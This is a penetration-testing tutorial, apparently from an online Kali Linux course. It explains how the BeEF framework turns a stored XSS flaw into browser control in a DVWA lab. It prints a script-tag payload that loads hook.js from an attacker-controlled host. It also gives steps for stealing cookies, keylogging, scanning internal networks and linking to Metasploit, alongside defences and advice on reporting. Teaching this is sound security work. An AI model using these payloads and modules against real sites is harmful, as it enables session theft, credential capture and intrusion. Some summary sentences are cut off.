This tutorial demonstrates how BeEF (Browser Exploitation Framework) escalates cross-site scripting vulnerabilities from theoretical proof-of-concept alerts into practical command-and-control access over victim browsers. The article bridges the gap between automated vulnerability scanning (covered in Day 24 with OWASP ZAP) and real-world exploitation, showing how a Medium-severity XSS finding becomes Critical when weaponized with BeEF's 300+ command modules. The material matters because it teaches penetration testers how to demonstrate actual impact rather than merely alerting clients to theoretical vulnerabilities.
- BeEF Hook Architecture and Polling MechanismBeEF establishes persistent browser control through a JavaScript hook delivered via XSS injection. The hook loads hook.js from the attacker's BeEF server on port 3000, and the victim's browser enters a polling loop, repeatedly asking the BeEF server 'any commands for me?' This transforms a single XSS execution into an ongoing command-and-control session. The attacker responds through BeEF's web UI (accessed at http://127.0.0.1:3000/ui/panel with default credentials beef/beef) by selecting modules to execute against hooked browsers.
- Session Cookie and Credential Extraction MethodsBeEF's Get Cookie module retrieves all non-HttpOnly cookies from the hooked browser, returning session tokens like PHPSESSID that grant authenticated access. The Keystroke Logger module captures every keystroke typed in the hooked browser, including passwords entered into login forms. However, HttpOnly cookies cannot be read by JavaScript, so BeEF must instead rely on session riding (sending authenticated requests on behalf of the user), keylogging, and screenshot capture to maintain access without the actual cookie value.
- Internal Network Discovery via Browser ProxyBeEF's network discovery modules scan internal networks by sending probe traffic through the victim's browser rather than from the attacker's machine, bypassing external network access controls and firewalls. The Get Internal IP module identifies the victim's LAN address; Network Discovery scans the victim's /24 subnet from their browser using XMLHttpRequest/fetch requests; Port Scanner probes specific internal hosts for open ports. In the article's example, this reveals 47 internal hosts on 10.0.1.0/24 including an inaccessible admin panel at 10.0.1.200:8080.
- BeEF-Metasploit Integration for Browser ExploitationBeEF integrates with Metasploit's RPC server to deliver browser-specific exploits against hooked browsers. The Browser Autopwn 2 module sends fingerprinting data from BeEF (browser version, OS, plugins) to Metasploit, which automatically selects matching exploits and delivers them through the hooked browser session. This requires configuring /etc/beef-xss/config.yaml to enable Metasploit integration (enable: true, host: 127.0.0.1, port: 55553) and running msfrpcd in a separate terminal. When successful, this escalates from browser control to full Meterpreter shell access.
- CVSS Severity Escalation from Medium to CriticalA stored XSS originally scored Medium (CVSS 6.1) becomes Critical (CVSS 9.3+) when BeEF escalation is demonstrated. The key change is Scope from Unchanged to Changed—the impact extends beyond the application's own security scope to compromise internal network resources and other systems. The CVSS vector changes to AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N (9.3) because Confidentiality and Integrity become High through session token theft, credential capture, and internal network reconnaissance. The original Medium score assumed only alert() confirmation; BeEF evidence demands reclassification.
- Pentest Reporting with Concrete Proof-of-ConceptEscalated XSS findings must include specific module outputs rather than theoretical impact: the exact session cookie values extracted, keylogger output showing captured credentials, screenshot evidence, and network discovery results listing internal hosts discovered. The report title should reflect the full chain (e.g., 'Stored XSS in /guestbook → BeEF Hook → Session Theft + Network Recon' rather than generic 'Stored Cross-Site Scripting'). The article emphasizes that concrete screenshots of BeEF UI output showing hooked browser sessions, captured credentials, and internal IP maps are required
- Defenses Against BeEF-Based XSS ExploitationContent Security Policy (CSP) with strict script-src restrictions prevents hook.js from loading on the page. Output encoding eliminates the XSS injection vector itself. HttpOnly and Secure cookie flags limit session theft impact. Subresource Integrity (SRI) prevents hook.js substitution. Regular security scanning with tools like OWASP ZAP and Burp Suite detects XSS vulnerabilities before they can be weaponized. The article notes that hook.js requests and polling traffic to port 3000 are visible in network logs, making detection possible through monitoring.
- Attack Chain Design Before Tool ExecutionThe article emphasizes designing the complete attack sequence before launching BeEF: deciding hook placement (high-traffic page vs. admin-only page), selecting which 3 modules to run within the first 30 seconds, analyzing what information changes next steps, identifying network pivots, selecting social engineering modules for specific user actions, and planning the reporting narrative. Exercise 1 requires writing this chain for a scenario targeting 200 corporate employees including IT admins on an authorized red team engagement, forcing explicit consideration of how each module output informs
Bottom line: BeEF transforms a scanner-identified XSS vulnerability from a theoretical proof-of-concept (an alert() popup) into a practical command-and-control channel that extracts session cookies, captures keystrokes, maps internal networks, and enables browser exploit chains—demonstrating why stored XSS is Critical, not Medium, and must be reported with concrete evidence from BeEF's module outputs rather than theoretical impact. Mastering BeEF's delivery, core modules (fingerprinting, cookies, network dis
FREE
Part of the 120-Day Kali Linux Mastery Course
<script>alert(1)</script>. An alert box fired. Your CVSS score said Medium. Now I want to show you what that Medium actually means when you stop accepting the pop-up and start using the right tool. A pop-up is a proof of concept. BeEF turns the same XSS into a persistent command-and-control channel into the victim’s browser. Same vulnerability. Completely different impact. That’s the gap between what scanners report and what pentesters demonstrate — and it’s the gap Day 25 closes.🎯 What You’ll Master in Day 25
⏱️ 45 min read · 3 exercises · Day 25 of 120
✅ Before You Start
- Day 24: OWASP ZAP — automated scanning found the XSS. Today you take that XSS finding and escalate it from an alert() pop-up to full browser control using BeEF.
- DVWA running at http://localhost/dvwa/ with security set to Low. BeEF is pre-installed in Kali — launch with
beef-xss. Default credentials: beef/beef.
📋 Day 25 — BeEF-XSS Tutorial
After Day 24’s OWASP ZAP scanning surfaced the XSS findings, Day 25 is where I show you what those findings are really worth. BeEF is the tool that connects ZAP’s XSS alert to an actual browser control channel — and it’s the reason a stored XSS in a site with 10,000 daily users is Critical, not Medium. The full methodology is in the Kali Linux Mastery Course.
BeEF Architecture — How the Hook Works
BeEF (Browser Exploitation Framework) operates through a JavaScript hook — a single script tag that, when executed in a victim’s browser, establishes a persistent connection back to your BeEF server. The victim’s browser becomes a zombie: it polls BeEF every few seconds asking “any commands for me?” You respond through the BeEF web UI by selecting modules to execute.
Launch BeEF and Deliver the Hook
⏱️ 15 minutes · No tools required
The value of BeEF isn’t any single module — it’s the chain. Design the complete attack sequence before opening BeEF, exactly as I do before any real engagement.
The app is used by 200 employees including the IT admin team.
Scope: authorised red team engagement, full network in scope.
DESIGN YOUR ATTACK CHAIN (in order):
Step 1 — Hook delivery
Where do you inject? (high-traffic page, admin-only page, or both?)
Why does hook placement in an admin forum vs public feed matter?
Step 2 — Immediate recon (run within first 30s of hook)
Which 3 BeEF modules do you run first and why?
What information from the hooked browser changes your next steps?
Step 3 — Cookie theft analysis
You get PHPSESSID from the cookie module.
What do you do with it? What’s the exact attack?
What if the cookie has HttpOnly flag? Does BeEF help or hurt here?
Step 4 — Network pivot
The victim is on the 10.0.0.0/8 corporate network.
Which BeEF module reveals this?
What do you do with the internal network map?
Step 5 — Social engineering escalation
List 2 BeEF social engineering modules and their specific use in this scenario.
What is the end goal — what action do you want the admin to take?
Step 6 — Reporting
How does “XSS via BeEF → session theft → admin account takeover” change the
CVSS score and finding severity vs the original alert(1) XSS?
Write your complete attack chain before the next exercise.
📸 Write your attack chain and share in #kali-labs.
Command Modules — What You Can Do to a Hooked Browser
BeEF ships with 300+ command modules across categories. The ones I run on every engagement, in this order: fingerprint, cookies, network discovery, then targeted social engineering based on what those first three reveal. Here’s the module map I use.
⏱️ 30 minutes · Kali Linux + DVWA + BeEF running
The hands-on core of Day 25. Hook a browser via DVWA’s stored XSS, run the intelligence-gathering chain, and experience what BeEF actually returns from a real hooked session. This is the exercise that makes “XSS is Critical” viscerally clear.
BeEF launched: sudo beef-xss. Your Kali IP noted.
Step 1: Get your hook URL
hostname -I | awk ‘{print $1}’
Your hook URL: http://[YOUR_IP]:3000/hook.js
Step 2: Inject stored XSS hook in DVWA
Navigate: http://localhost/dvwa/vulnerabilities/xss_s/
Name: Hook Test
Message: <script src=”http://[YOUR_IP]:3000/hook.js”></script>
Submit the form.
Step 3: Trigger the hook
Open a SECOND browser tab (or Firefox if you used Chrome).
Navigate to the DVWA XSS Stored page — your hook executes.
Switch to BeEF UI: http://127.0.0.1:3000/ui/panel
You should see a new hooked browser in the left panel.
Step 4: Run the intelligence chain (in this order)
Click the hooked browser entry.
Commands tab → Browser → Get Cookie → Execute
What cookies were returned? Note any session tokens.
Commands → Browser → Fingerprint → Execute
What browser/OS information is returned?
Commands → Network → Get Internal IP → Execute
What is the victim’s LAN IP?
Step 5: Run keylogger
Commands → User Interface → Keystroke Logger → Execute
Switch back to the DVWA tab.
Click into the username/password fields and type something.
Return to BeEF → check the keylogger module results.
What was captured?
Step 6: Screenshot
Commands → User Interface → Screenshot → Execute
What does BeEF capture?
Document: full output from each module. Note which modules returned
data and which returned empty results.
📸 Screenshot BeEF keylogger output showing captured keystrokes. Share in #kali-labs. Tag #Day25BeEF
Network Discovery via the Hooked Browser
The network discovery capability is what elevates BeEF from a browser toy to a legitimate pivot tool. The victim’s browser runs inside their corporate network. When I run BeEF’s network scanner modules through their browser, the scan traffic comes from their machine — bypassing network controls that would block my Kali IP.
XMLHttpRequest or fetch() to probe each IP. This means it’s constrained by browser connection limits and same-origin policy. It won’t discover all hosts in a large network, but it’s highly effective for finding the most reachable hosts (router, printer, internal web apps) and is completely invisible from a network monitoring perspective — the probe traffic comes from the victim’s browser, not from my Kali machine.BeEF + Metasploit — Browser Autopwn Chain
The BeEF-Metasploit integration is the most powerful chain in the toolkit — and the one that justifies why browser-based XSS is treated as Critical in any application that could be visited by a target’s browser. BeEF delivers the hook, Metasploit runs browser exploit modules against the hooked session.
⏱️ 20 minutes · Kali Linux + BeEF + Metasploit
The integration setup is what most tutorials skip — get it working in your lab now so you understand the architecture when you encounter it on a real engagement. This exercise focuses on the connection, not full exploitation (browser autopwn requires a vulnerable browser build).
sudo nano /etc/beef-xss/config.yaml
Locate: metasploit section
Set: enable: true
Save and exit.
Step 2: Start Metasploit RPC (Terminal 2)
msfrpcd -P testpass123 -S -f -a 127.0.0.1
Wait for: “[*] MSGRPC starting on 127.0.0.1:55553 (SSL)”
Step 3: Restart BeEF with integration
sudo beef-xss
Watch startup output — should see Metasploit connection confirmed.
Step 4: Verify integration in BeEF UI
http://127.0.0.1:3000/ui/panel
Hook a browser (from Exercise 2 stored XSS).
Commands tab → look for Metasploit category.
Is it now visible? (Confirms integration working)
Step 5: Explore browser autopwn
Commands > Metasploit > Browser Autopwn 2
Do NOT execute against DVWA (not a real vulnerable browser).
Instead: read what modules it would select and why.
Note: what browser/OS combinations does it target?
Step 6: Document the chain architecture
Draw or describe: XSS injection point → BeEF hook → Metasploit RPC →
browser exploit → Meterpreter session.
Where does each framework start and end?
📸 Screenshot the BeEF UI showing Metasploit module category visible. Share in #kali-labs.
Reporting Escalated XSS
The BeEF demo changes the report completely. Here’s how I write the same XSS finding with and without escalation evidence — and why the second version gets patched in 48 hours while the first gets scheduled for next quarter.
📋 BeEF Command Reference — Day 25
🏆 Day 25 Complete — BeEF-XSS Tutorial
Hook delivery, fingerprinting, cookie theft, keylogging, network discovery, BeEF-Metasploit integration, and escalated XSS reporting. BeEF is now in your XSS escalation toolkit. Day 26 moves to SET — the Social Engineering Toolkit — which takes the human layer of these attacks to the next level. Check your Port Scanner Tool against any target before starting a BeEF session to understand the network context you’re working in.
🧠 Quick Check
❓ Frequently Asked Questions — BeEF-XSS 2026
What is BeEF-XSS?
How does BeEF deliver its hook?
<script src="http://ATTACKER_IP:3000/hook.js"></script> tag injected through an XSS vulnerability. When the victim’s browser loads the page containing the injection, hook.js executes and establishes a polling connection back to the BeEF server.Can BeEF bypass HttpOnly cookies?
Is BeEF detectable?
script-src to trusted domains will block hook.js from loading. Modern browsers also flag mixed-content issues if HTTP hook.js loads on an HTTPS page.How is BeEF-based XSS reported in a pentest?
What prevents BeEF attacks?
Day 24: OWASP ZAP — Automated Web Scanning
Day 26: SET — Social Engineering Toolkit
📚 Further Reading
- Day 24 — OWASP ZAP — The scanning session that surfaces the XSS findings BeEF then escalates. ZAP finds them; BeEF proves their real-world impact.
- XSS Hub — The complete cross-site scripting attack surface. All three XSS types, DOM analysis, CSP bypass, and the full escalation methodology that BeEF sits at the end of.
- Port Scanner Tool — Run a quick external port scan on your target before a BeEF engagement to understand the network topology. Combines with BeEF’s internal network discovery for a complete network picture from both outside and inside.
- BeEF Project GitHub — The official BeEF source repository. Module documentation, configuration reference, and the active issue tracker for the latest capabilities and bugs in the current release.
- PortSwigger — XSS Learning Path — The definitive XSS learning resource. All 30 XSS labs covering every context and filter bypass. Essential companion to Day 25 — BeEF escalation only works when your XSS delivery is solid.

